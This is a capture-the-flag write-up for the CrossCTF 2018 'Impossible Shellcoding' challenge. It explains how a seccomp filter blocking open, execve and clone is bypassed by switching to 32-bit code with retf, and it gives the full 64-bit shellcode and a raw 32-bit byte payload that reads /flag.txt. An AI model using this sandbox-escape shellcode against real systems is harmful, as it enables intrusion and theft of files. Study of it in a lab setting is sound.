Impossible Shellcoding - CrossCTF Quals 2018 (pwn)
The flag is at /flag.txt.
nc ctf.pwn.sg 7123
Creator - jarsp (@jarsp)
Opening this up in radare2, we can get the following pseudocode.
prctl(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)); prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &seccomp_rules, 0, 0); char* buffer = mmap(0x40404000, 0x1000, 7, 0x32); read(0, &buffer, 0x100); // runs the shellcode that was read into the buffer void (*func)() = buffer; func();
So, this is a shellcoding challenge, except that it is not so straightforward. There are 2
prctl calls that are designed to make our life difficult.
The first one prevents us from running the program as other users, by blocking set-user-id and set-group-id functions.
The second one sets up SECCOMP rules, which is a filter to block certain syscalls, based on the syscall number (K in the table below). Using seccomp-tools, we can get the following table.
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x00 0xc000003e /* no-op */ 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x0c 0x00 0x40000000 if (A >= 0x40000000) goto 0016 0004: 0x15 0x0b 0x00 0x00000002 if (A == open) goto 0016 0005: 0x15 0x0a 0x00 0x00000101 if (A == openat) goto 0016 0006: 0x15 0x09 0x00 0x00000055 if (A == creat) goto 0016 0007: 0x15 0x08 0x00 0x0000003b if (A == execve) goto 0016 0008: 0x15 0x07 0x00 0x00000039 if (A == fork) goto 0016 0009: 0x15 0x06 0x00 0x0000003a if (A == vfork) goto 0016 0010: 0x15 0x05 0x00 0x00000142 if (A == execveat) goto 0016 0011: 0x15 0x04 0x00 0x00000038 if (A == clone) goto 0016 0012: 0x15 0x03 0x00 0x00000065 if (A == ptrace) goto 0016 0013: 0x15 0x02 0x00 0x0000009d if (A == prctl) goto 0016 0014: 0x15 0x01 0x00 0x0000009e if (A == arch_prctl) goto 0016 0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0016: 0x06 0x00 0x00 0x00000000 return KILL
We see that
execveat are blocked, which means no shell for us. Ok.
As for ORW (open, read, write) capabilities,
openat are blocked so we cannot do the typical procedure of
opening the file,
reading from the file into a buffer, then finally
writeing the buffer into standard output. Great.
clone are blocked, so we can't create new processes that are free of these seccomp restrictions.
There was a writeup on a similar challenge, which uses the x32 ABI. How this works is we can syscall
0x40000000 + syscall_num_you_actually_want to call the syscall and bypass seccomp, due to the x32 ABI of kernels. Sadly at line 0x003, any syscall greater than 0x40000000 is also blocked.
So far, the major problem is that open() and its variants can't be used, however
write are still available so we do not need to worry about that.
There is another syscall called
open_by_handle_at that I wanted to use, but for it to work the binary had to be root (I wasted 5 hours on this).
However, there is still one more trick - executing 32-bit code instead.
In 32-bit code, we can use 32-bit syscalls (which have different syscall numbers) to bypass the seccomp filter, as the seccomp filter only blocks the syscall based on its number.
To run 32-bit code from 64-bit code, we can use the
retf instruction which pops 2 values from the stack, the first being the next instruction address and the second being the new value of the CS (Code Segment) register.
If the CS register becomes 0x33, it is executing 64-bit code, whereas if the CS register becomes 0x23, it is executing 32-bit code.
One important thing to take note is, since 32-bit code can only read the lower 32-bits from 64-bit registers, we have to make sure we reset the registers the shellcode uses to lower values (including the instruction pointer register!).
The exploit consists of two parts, firstly, 64-bit shellcode that does the following:
mmap with low addresses with RWX (read-write-exec) permissions
2. Read in 32-bit shellcode that opens the file and reads it into the
mmaped memory because the orginal binary only reads in 256 bytes - not enough!
retf to the mmap'ed memory to run the 32-bit shellcode
mmap = ''' xor rax, rax mov al, 9 mov rdi, 0x602000 mov rsi, 0x1000 mov rdx, 7 mov r10, 0x32 mov r8, 0xffffffff mov r9, 0 syscall''' read = ''' mov rax, 0 xor rdi, rdi mov rsi, 0x602190 mov rdx, 100 syscall''' retf = ''' xor rsp, rsp mov esp, 0x602160 mov DWORD PTR [esp+4], 0x23 mov DWORD PTR [esp], 0x602190 retf ''' sc = mmap + read + retf f = asm(sc) p.sendline(f)
The second step is just to send in 32-bit shellcode to read the flag.
# Send 32-bit shellcode that open-reads the flag and writes to stdout # Copied from http://shell-storm.org/shellcode/files/shellcode-73.php p.sendline("\x31\xc0\x31\xdb\x31\xc9\x31\xd2"+ "\xeb\x32\x5b\xb0\x05\x31\xc9\xcd"+ "\x80\x89\xc6\xeb\x06\xb0\x01\x31"+ "\xdb\xcd\x80\x89\xf3\xb0\x03\x83"+ "\xec\x01\x8d\x0c\x24\xb2\x01\xcd"+ "\x80\x31\xdb\x39\xc3\x74\xe6\xb0"+ "\x04\xb3\x01\xb2\x01\xcd\x80\x83"+ "\xc4\x01\xeb\xdf\xe8\xc9\xff\xff"+ "\xff"+ "/flag.txt\x00")
print(p.recv()) to get the flag.